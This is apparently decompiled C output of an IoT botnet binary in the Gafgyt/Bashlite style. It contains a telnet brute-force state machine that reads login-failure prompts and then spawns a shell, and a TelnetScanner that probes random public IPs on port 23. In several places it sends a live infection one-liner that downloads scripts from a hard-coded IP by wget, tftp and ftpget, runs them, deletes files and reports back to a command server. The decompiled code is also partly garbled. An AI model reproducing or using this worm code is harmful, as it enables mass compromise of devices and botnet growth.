// 0x804bfb4 | |
sclose(sock2); | |
*v41 = 0; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_31; | |
} | |
lab_0x804d9a4_35: | |
// 0x804d9a4 | |
timeout = (struct timeval *)v49; | |
option_value = (struct _TYPEDEF_fd_set *)0x2710; | |
v35 = NULL; | |
addr = v46; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} | |
case 6: { | |
int32_t v100 = v40 + v34; // 0x804c0a0 | |
int32_t * v101 = (int32_t *)(v100 + 12); // 0x804c0a5_0 | |
if (*v101 == 0) { | |
// 0x804c0ab | |
time((int32_t *)t); | |
time((int32_t *)t); | |
// branch -> 0x804c0cf | |
} | |
int16_t * v102 = (int16_t *)(v100 + 16); | |
int32_t v103 = (int32_t)*v102; // 0x804c0e3 | |
int32_t * v104 = (int32_t *)(v100 + 20); // 0x804c0fc_0 | |
int32_t v105 = *v104; // 0x804c0fc | |
struct timeval * v106 = (struct timeval *)v105; | |
if (readUntil("invalid", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v105, 1024, v103, a8) == 0) { | |
int32_t v107 = (int32_t)*v102; // 0x804c31d | |
int32_t v108 = *v104; // 0x804c336 | |
struct timeval * v109 = (struct timeval *)v108; | |
if (readUntil("incorrect", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v108, 1024, v107, a8) == 0) { | |
int32_t v110 = (int32_t)*v102; // 0x804c557 | |
int32_t v111 = *v104; // 0x804c570 | |
struct timeval * v112 = (struct timeval *)v111; | |
if (readUntil("fail", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v111, 1024, v110, a8) == 0) { | |
int32_t v113 = (int32_t)*v102; // 0x804c6f7 | |
int32_t v114 = *v104; // 0x804c710 | |
struct timeval * v115 = (struct timeval *)v114; | |
if (readUntil("again", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v114, 1024, v113, a8) == 0) { | |
int32_t v116 = (int32_t)*v102; // 0x804c897 | |
int32_t v117 = *v104; // 0x804c8b0 | |
struct timeval * v118 = (struct timeval *)v117; | |
if (readUntil("wrong", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v117, 1024, v116, a8) == 0) { | |
int32_t v119 = (int32_t)*v102; // 0x804ca37 | |
int32_t v120 = *v104; // 0x804ca50 | |
struct timeval * v121 = (struct timeval *)v120; | |
if (readUntil("accessdenied", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v120, 1024, v119, a8) == 0) { | |
int32_t v122 = (int32_t)*v102; // 0x804cbd7 | |
int32_t v123 = *v104; // 0x804cbf0 | |
struct timeval * v124 = (struct timeval *)v123; | |
if (readUntil("denied", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v123, 1024, v122, a8) == 0) { | |
int32_t v125 = (int32_t)*v102; // 0x804cd77 | |
int32_t v126 = *v104; // 0x804cd90 | |
struct timeval * v127 = (struct timeval *)v126; | |
if (readUntil("error", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v126, 1024, v125, a8) == 0) { | |
int32_t v128 = (int32_t)*v102; // 0x804cf17 | |
v49 = *v104; | |
if (readUntil("bad", (struct _TYPEDEF_fd_set *)1, 0, 0x2710, v49, 1024, v128, a8) == 0) { | |
int32_t str5 = *v104; // 0x804d0ba | |
strlen((char *)str5); | |
strlen((char *)str5); | |
if (*v101 + 10 >= time((int32_t *)"bad")) { | |
v46 = (struct sockaddr *)1; | |
v47 = "bad"; | |
goto lab_0x804d9a4_35; | |
} | |
// 0x804d11b | |
sclose((int32_t)"bad"); | |
*v41 = 0; | |
v46 = (struct sockaddr *)1; | |
v47 = "bad"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_35; | |
} else { | |
// 0x804cf84 | |
*v101 = 0; | |
*v102 = 0; | |
if (strstr("bad", (char *)1) == NULL) { | |
// 0x804d059 | |
*v41 = 7; | |
memset(NULL, 1024, 0); | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_35; | |
} else { | |
// 0x804cfe1 | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_35; | |
} | |
lab_0x804d9a4_65: | |
// 0x804d9a4 | |
timeout = v43; | |
option_value = v44; | |
v35 = v45; | |
addr = v46; | |
t = v47; | |
v37 = v38 + 1; | |
// branch -> 0x804d9a7 | |
continue; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804cde4 | |
*v101 = 0; | |
*v102 = 0; | |
if (strstr("error", (char *)1) == NULL) { | |
// 0x804ceb9 | |
*v41 = 7; | |
memset(NULL, 1024, 0); | |
v43 = v127; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804ce41 | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v43 = v127; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804cc44 | |
*v101 = 0; | |
*v102 = 0; | |
if (strstr("denied", (char *)1) == NULL) { | |
// 0x804cd19 | |
*v41 = 7; | |
memset(NULL, 1024, 0); | |
v43 = v124; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804cca1 | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v43 = v124; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804caa4 | |
*v101 = 0; | |
*v102 = 0; | |
if (strstr("accessdenied", (char *)1) == NULL) { | |
// 0x804cb79 | |
*v41 = 7; | |
memset(NULL, 1024, 0); | |
v43 = v121; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804cb01 | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v43 = v121; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804c904 | |
*v101 = 0; | |
*v102 = 0; | |
if (strstr("wrong", (char *)1) == NULL) { | |
// 0x804c9d9 | |
*v41 = 7; | |
memset(NULL, 1024, 0); | |
v43 = v118; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804c961 | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v43 = v118; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804c764 | |
*v101 = 0; | |
*v102 = 0; | |
if (strstr("again", (char *)1) == NULL) { | |
// 0x804c839 | |
*v41 = 7; | |
memset(NULL, 1024, 0); | |
v43 = v115; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804c7c1 | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v43 = v115; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804c5c4 | |
*v101 = 0; | |
*v102 = 0; | |
if (strstr("fail", (char *)1) == NULL) { | |
// 0x804c699 | |
*v41 = 7; | |
memset(NULL, 1024, 0); | |
v43 = v112; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804c621 | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v43 = v112; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804c38a | |
*v101 = 0; | |
*v102 = 0; | |
if (strstr("incorrect", (char *)1) == NULL) { | |
// 0x804c45f | |
if (matchPrompt("incorrect") == 0) { | |
// 0x804c481 | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v43 = v109; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804c4f9 | |
*v41 = 7; | |
memset(NULL, 1024, 0); | |
v43 = v109; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804c3e7 | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v43 = v109; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804c150 | |
*v101 = 0; | |
*v102 = 0; | |
if (strstr("invalid", (char *)1) == NULL) { | |
// 0x804c225 | |
if (matchPrompt("invalid") == 0) { | |
// 0x804c247 | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v43 = v106; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804c2bf | |
*v41 = 7; | |
memset(NULL, 1024, 0); | |
v43 = v106; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804c1ad | |
memset(NULL, 1024, 0); | |
sclose(0); | |
*v41 = 0; | |
v43 = v106; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
break; | |
} | |
case 7: { | |
// 0x804d162 | |
if (send((int32_t)"sh\r\n", (char *)4, 0x4000, (int32_t)option_value) > 0) { | |
// 0x804d1df | |
*v41 = 8; | |
v43 = timeout; | |
v44 = option_value; | |
v45 = (struct _TYPEDEF_fd_set *)0x4000; | |
v46 = (struct sockaddr *)4; | |
v47 = "sh\r\n"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804d198 | |
sclose((int32_t)"sh\r\n"); | |
*v41 = 0; | |
v43 = timeout; | |
v44 = option_value; | |
v45 = (struct _TYPEDEF_fd_set *)0x4000; | |
v46 = (struct sockaddr *)4; | |
v47 = "sh\r\n"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
break; | |
} | |
case 8: { | |
// 0x804d1f8 | |
if (send((int32_t)"/bin/sh\r\n", (char *)9, 0x4000, (int32_t)option_value) > 0) { | |
// 0x804d275 | |
*v41 = 9; | |
v43 = timeout; | |
v44 = option_value; | |
v45 = (struct _TYPEDEF_fd_set *)0x4000; | |
v46 = (struct sockaddr *)9; | |
v47 = "/bin/sh\r\n"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804d22e | |
sclose((int32_t)"/bin/sh\r\n"); | |
*v41 = 0; | |
v43 = timeout; | |
v44 = option_value; | |
v45 = (struct _TYPEDEF_fd_set *)0x4000; | |
v46 = (struct sockaddr *)9; | |
v47 = "/bin/sh\r\n"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
break; | |
} | |
case 9: { | |
int32_t * v129 = (int32_t *)(v40 + v34 + 12); // 0x804d2a2_0 | |
if (*v129 == 0) { | |
// 0x804d2a8 | |
time((int32_t *)t); | |
time((int32_t *)t); | |
// branch -> 0x804d2cc | |
} | |
int32_t len3 = strlen((char *)*(int32_t *)&str6); | |
int32_t sock3 = *(int32_t *)&str6; // 0x804d2ee | |
char * v130 = (char *)sock3; | |
struct sockaddr * v131 = (struct sockaddr *)len3; | |
if (send(sock3, (char *)len3, 0x4000, (int32_t)option_value) > 0) { | |
// 0x804d39a | |
if (*v129 + 10 >= time((int32_t *)sock3)) { | |
v43 = timeout; | |
v44 = option_value; | |
v45 = (struct _TYPEDEF_fd_set *)0x4000; | |
v46 = v131; | |
v47 = v130; | |
goto lab_0x804d9a4_65; | |
} | |
// 0x804d3c7 | |
sclose(sock3); | |
*v41 = 0; | |
v43 = timeout; | |
v44 = option_value; | |
v45 = (struct _TYPEDEF_fd_set *)0x4000; | |
v46 = v131; | |
v47 = v130; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804d322 | |
sclose(sock3); | |
*v41 = 0; | |
memset(NULL, 1024, 0x4000); | |
v43 = timeout; | |
v44 = option_value; | |
v45 = (struct _TYPEDEF_fd_set *)0x4000; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
break; | |
} | |
case 10: { | |
int32_t v132 = v40 + v34; // 0x804d41d | |
int32_t * v133 = (int32_t *)(v132 + 12); // 0x804d422_0 | |
if (*v133 == 0) { | |
// 0x804d428 | |
time((int32_t *)t); | |
time((int32_t *)t); | |
// branch -> 0x804d44c | |
} | |
int16_t * v134 = (int16_t *)(v132 + 16); | |
int32_t * v135 = (int32_t *)(v132 + 20); // 0x804d479_0 | |
int32_t v136 = *v135; // 0x804d479 | |
if (readUntil("ulti-call", NULL, 0, 0x2710, v136, 1024, (int32_t)*v134, a8) == 0) { | |
int32_t v137 = *v135; // 0x804d5de | |
if (readUntil("multi-call", NULL, 0, 0x2710, v137, 1024, (int32_t)*v134, a8) == 0) { | |
int32_t v138 = *v135; // 0x804d743 | |
struct timeval * v139 = (struct timeval *)v138; | |
if (readUntil("GENOCIDE", NULL, 0, 0x2710, v138, 1024, (int32_t)*v134, a8) == 0) { | |
int32_t str7 = *v135; // 0x804d905 | |
strlen((char *)str7); | |
strlen((char *)str7); | |
if (*v133 + 10 >= time((int32_t *)"GENOCIDE")) { | |
v43 = v139; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = NULL; | |
v47 = "GENOCIDE"; | |
goto lab_0x804d9a4_65; | |
} | |
// 0x804d962 | |
sclose((int32_t)"GENOCIDE"); | |
*v41 = 0; | |
v43 = v139; | |
v44 = (struct _TYPEDEF_fd_set *)0x2710; | |
v45 = NULL; | |
v46 = NULL; | |
v47 = "GENOCIDE"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} else { | |
// 0x804d797 | |
*v133 = 0; | |
*v134 = 0; | |
send((int32_t)"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://198.204.224.130/bins.sh; busybox wget http://198.204.224.130/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 198.204.224.130 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 198.204.224.130; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.204.224.130 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *", (char *)446, 0x4000, MSG_PROXY | MSG_WAITALL | MSG_FIN | MSG_SYN | MSG_ERRQUEUE); | |
sockprintf((int32_t)"REPORT %s:%s:%s", inet_ntoa((struct in_addr){.e0 = (int32_t)"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://198.204.224.130/bins.sh; busybox wget http://198.204.224.130/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 198.204.224.130 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 198.204.224.130; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.204.224.130 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *"})); | |
int32_t v140; // 0x804d831 | |
memset(NULL, 1024, v140); | |
sclose(0); | |
*v41 = 0; | |
v43 = v139; | |
int32_t v141; // 0x804d813 | |
v44 = (struct _TYPEDEF_fd_set *)v141; | |
v45 = (struct _TYPEDEF_fd_set *)v140; | |
v46 = (struct sockaddr *)1024; | |
v47 = NULL; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804d632 | |
*v133 = 0; | |
*v134 = 0; | |
send((int32_t)"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://198.204.224.130/bins.sh; busybox wget http://198.204.224.130/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 198.204.224.130 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 198.204.224.130; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.204.224.130 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *", (char *)446, 0x4000, MSG_PROXY | MSG_WAITALL | MSG_FIN | MSG_SYN | MSG_ERRQUEUE); | |
char * v142 = inet_ntoa((struct in_addr){ | |
.e0 = (int32_t)"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://198.204.224.130/bins.sh; busybox wget http://198.204.224.130/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 198.204.224.130 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 198.204.224.130; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.204.224.130 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *" | |
}); // 0x804d6ea | |
sockprintf((int32_t)"REPORT %s:%s:%s", v142); | |
v43 = (struct timeval *)v137; | |
int32_t v143; // 0x804d6ae | |
v44 = (struct _TYPEDEF_fd_set *)v143; | |
int32_t v144; // 0x804d6cc | |
v45 = (struct _TYPEDEF_fd_set *)v144; | |
v46 = (struct sockaddr *)v142; | |
v47 = "REPORT %s:%s:%s"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} else { | |
// 0x804d4cd | |
*v133 = 0; | |
*v134 = 0; | |
send((int32_t)"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://198.204.224.130/bins.sh; busybox wget http://198.204.224.130/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 198.204.224.130 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 198.204.224.130; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.204.224.130 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *", (char *)446, 0x4000, MSG_PROXY | MSG_WAITALL | MSG_FIN | MSG_SYN | MSG_ERRQUEUE); | |
char * v145 = inet_ntoa((struct in_addr){ | |
.e0 = (int32_t)"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://198.204.224.130/bins.sh; busybox wget http://198.204.224.130/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 198.204.224.130 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 198.204.224.130; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.204.224.130 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *" | |
}); // 0x804d585 | |
sockprintf((int32_t)"REPORT %s:%s:%s", v145); | |
v43 = (struct timeval *)v136; | |
int32_t v146; // 0x804d549 | |
v44 = (struct _TYPEDEF_fd_set *)v146; | |
int32_t v147; // 0x804d567 | |
v45 = (struct _TYPEDEF_fd_set *)v147; | |
v46 = (struct sockaddr *)v145; | |
v47 = "REPORT %s:%s:%s"; | |
// branch -> 0x804d9a4 | |
goto lab_0x804d9a4_65; | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
break; | |
} | |
} | |
// Detected a possible infinite recursion (goto support failed); quitting... | |
} | |
} | |
// 0x804a81b | |
v39 = v34 | 10; | |
option_name = &v36; | |
timeout = a5; | |
option_value = a4; | |
v35 = a3; | |
addr = a2; | |
t = v28; | |
v37 = 0; | |
// branch -> 0x804d9a7 | |
while (true) { | |
// 0x804d9a7 | |
v38 = v37; | |
// branch -> 0x804d9a7 | |
goto lab_0x804d9a7; | |
} | |
} | |
// Address range: 0x804d9b8 - 0x804ef16 | |
int32_t TelnetScanner(int32_t size, struct sockaddr * a2, struct _TYPEDEF_fd_set * a3, struct _TYPEDEF_fd_set * a4, struct timeval * a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9) { | |
char * str6[2]; // 0x805b040 | |
char (*v1)[21]; // 0x805b044 | |
int32_t v2; // 0x805b048 | |
int32_t v3; // 0x805b1d0 | |
int32_t v4; // 0x805b1d4 | |
int16_t v5; // 0x805b240 | |
int32_t v6; // 0x805b3a4 | |
char * v7; // 0x805b480 | |
int32_t v8; // 0x805b488 | |
int32_t v9; // 0x805b48c | |
char * v10; // 0x805b490 | |
char v11; // 0x805b491 | |
char v12; // 0x805b493 | |
char v13; // 0x805b494 | |
char v14; // 0x805b496 | |
char v15; // 0x805b497 | |
char v16; // 0x805b498 | |
char v17; // 0x805b499 | |
char v18; // 0x805b49a | |
int32_t v19; // 0x805b4a0 | |
int32_t v20; // 0x805b4a4 | |
int32_t v21; // 0x805b4a8 | |
int64_t v22; // 0x805d49f | |
char * v23; // 0x805f4a0 | |
int32_t v24; // 0x8061708 | |
int32_t v25; // 0x806170c | |
char * v26; // 0x8061710 | |
bool v27; | |
char * v28 = (char *)size; | |
int32_t v29 = getdtablesize(); // 0x804d9c4 | |
int32_t v30 = 3 * ((v29 >> 31) / 0x40000000 + v29) / 4; // 0x804d9de | |
int32_t v31 = v30 > 512 ? 512 : v30; | |
htons(23); | |
int32_t v32; | |
int32_t v33 = v32 - (24 * v31 + 30 & -16) + 47; // 0x804da6c | |
int32_t v34 = v33 & -16; // 0x804da6f | |
memset((char *)v34, v33 & -256, 5 * v31); | |
struct timeval * timeout; | |
struct _TYPEDEF_fd_set * option_value; | |
struct _TYPEDEF_fd_set * v35; | |
struct sockaddr * addr; | |
char * t; | |
int32_t option_name; // 0x804e01d_0 | |
int32_t v36; | |
int32_t v37; // 0x804dc63 | |
int32_t v38; // 0x804dca7670 | |
if (v31 > 0) { | |
// branch -> 0x804daa4 | |
for (int32_t i = 0; i < v31; i++) { | |
// 0x804daa4 | |
malloc(size); | |
malloc(size); | |
memset(v28, (int32_t)a2, (int32_t)a3); | |
// continue -> 0x804daa4 | |
} | |
// 0x804db18 | |
v38 = v34 | 10; | |
option_name = &v36; | |
timeout = a5; | |
option_value = a4; | |
v35 = a3; | |
addr = a2; | |
t = v28; | |
int32_t v39 = 0; | |
// branch -> 0x804ef06 | |
while (true) { | |
// 0x804ef06 | |
v37 = v39; | |
// branch -> 0x804ef06 | |
lab_0x804ef06: | |
while (true) { | |
// 0x804ef06 | |
if (v37 < v31) { | |
// break -> 0x804db38 | |
break; | |
} | |
v37 = 0; | |
// continue -> 0x804ef06 | |
} | |
int32_t v40 = 24 * v37; // 0x804db44 | |
char * v41 = (char *)(v40 + (v34 | 8)); // 0x804db47_0 | |
struct timeval * v42 = timeout; | |
struct _TYPEDEF_fd_set * v43 = option_value; | |
struct _TYPEDEF_fd_set * v44 = v35; | |
struct sockaddr * v45 = addr; | |
char * v46 = t; | |
int32_t v47; // 0x804ef03 | |
struct timeval * v48; | |
struct timeval * v49; | |
int32_t v50; // 0x804e2c2 | |
switch (*v41) { | |
case 0: { | |
int32_t v51 = v40 + v34; // 0x804db80 | |
int32_t * v52 = (int32_t *)(v51 + 20); // 0x804db85_0 | |
int32_t type = (int32_t)addr; | |
int32_t protocol = (int32_t)v35; | |
memset(t, type, protocol); | |
char * v53 = (char *)(v40 + (v34 | 9)); // 0x804dbb1_0 | |
int32_t * v54; | |
if (*v53 == 0) { | |
char * v55 = (char *)(v40 + (v34 | 11)); // 0x804dc53_0 | |
*v55 = (char)((int32_t)*v55 + 1); | |
if (*v55 == 28) { | |
// 0x804dc84 | |
*v55 = 0; | |
char * v56 = (char *)(v40 + v38); // 0x804dca7_0 | |
*v56 = (char)((int32_t)*v56 + 1); | |
// branch -> 0x804dcc0 | |
} else { | |
// 0x804dc44 | |
// branch -> 0x804dcc0 | |
} | |
// 0x804dcc0 | |
if (*(char *)(v40 + v38) == 17) { | |
// 0x804dcd8 | |
*v53 = 1; | |
// branch -> 0x804ef03 | |
} else { | |
// 0x804dcc0 | |
v54 = (int32_t *)v51; | |
// branch -> 0x804dcf1 | |
lab_0x804dcf1:; | |
int32_t host_short = (int32_t)t; | |
htons((int16_t)host_short); | |
socket(host_short, type, protocol); | |
socket(host_short, type, protocol); | |
int32_t option_len = (int32_t)timeout; | |
setsockopt(host_short, type, protocol, (char *)option_value, option_len); | |
setsockopt(host_short, type, protocol, (char *)option_value, option_len); | |
if (*v54 != -1) { | |
// 0x804de05 | |
fcntl(host_short, type); | |
fcntl(host_short, type); | |
fcntl(host_short, type); | |
if (connect(host_short, addr, protocol) == -1) { | |
// 0x804de8e | |
if (*__errno_location() != 115) { | |
// 0x804de9a | |
sclose(host_short); | |
*v53 = 1; | |
// branch -> 0x804ef03 | |
lab_0x804ef03: | |
// 0x804ef03 | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} | |
} | |
// 0x804decd | |
*v41 = 1; | |
// branch -> 0x804ef03 | |
goto lab_0x804ef03; | |
} | |
} | |
// 0x804ef03 | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} else { | |
int32_t * v57 = (int32_t *)v51; // 0x804dbee_0 | |
*v57 = 0; | |
getRandomPublicIP(); | |
getRandomPublicIP(); | |
v54 = v57; | |
// branch -> 0x804dcf1 | |
goto lab_0x804dcf1; | |
} | |
lab_0x804ef03_4: | |
// 0x804ef03 | |
option_value = v43; | |
v35 = v44; | |
addr = v45; | |
t = v46; | |
v39 = v37 + 1; | |
// branch -> 0x804ef06 | |
continue; | |
} | |
case 1: { | |
int32_t v58 = v40 + v34; // 0x804df0f | |
int32_t * v59 = (int32_t *)(v58 + 12); // 0x804df14_0 | |
if (*v59 == 0) { | |
// 0x804df1a | |
time((int32_t *)t); | |
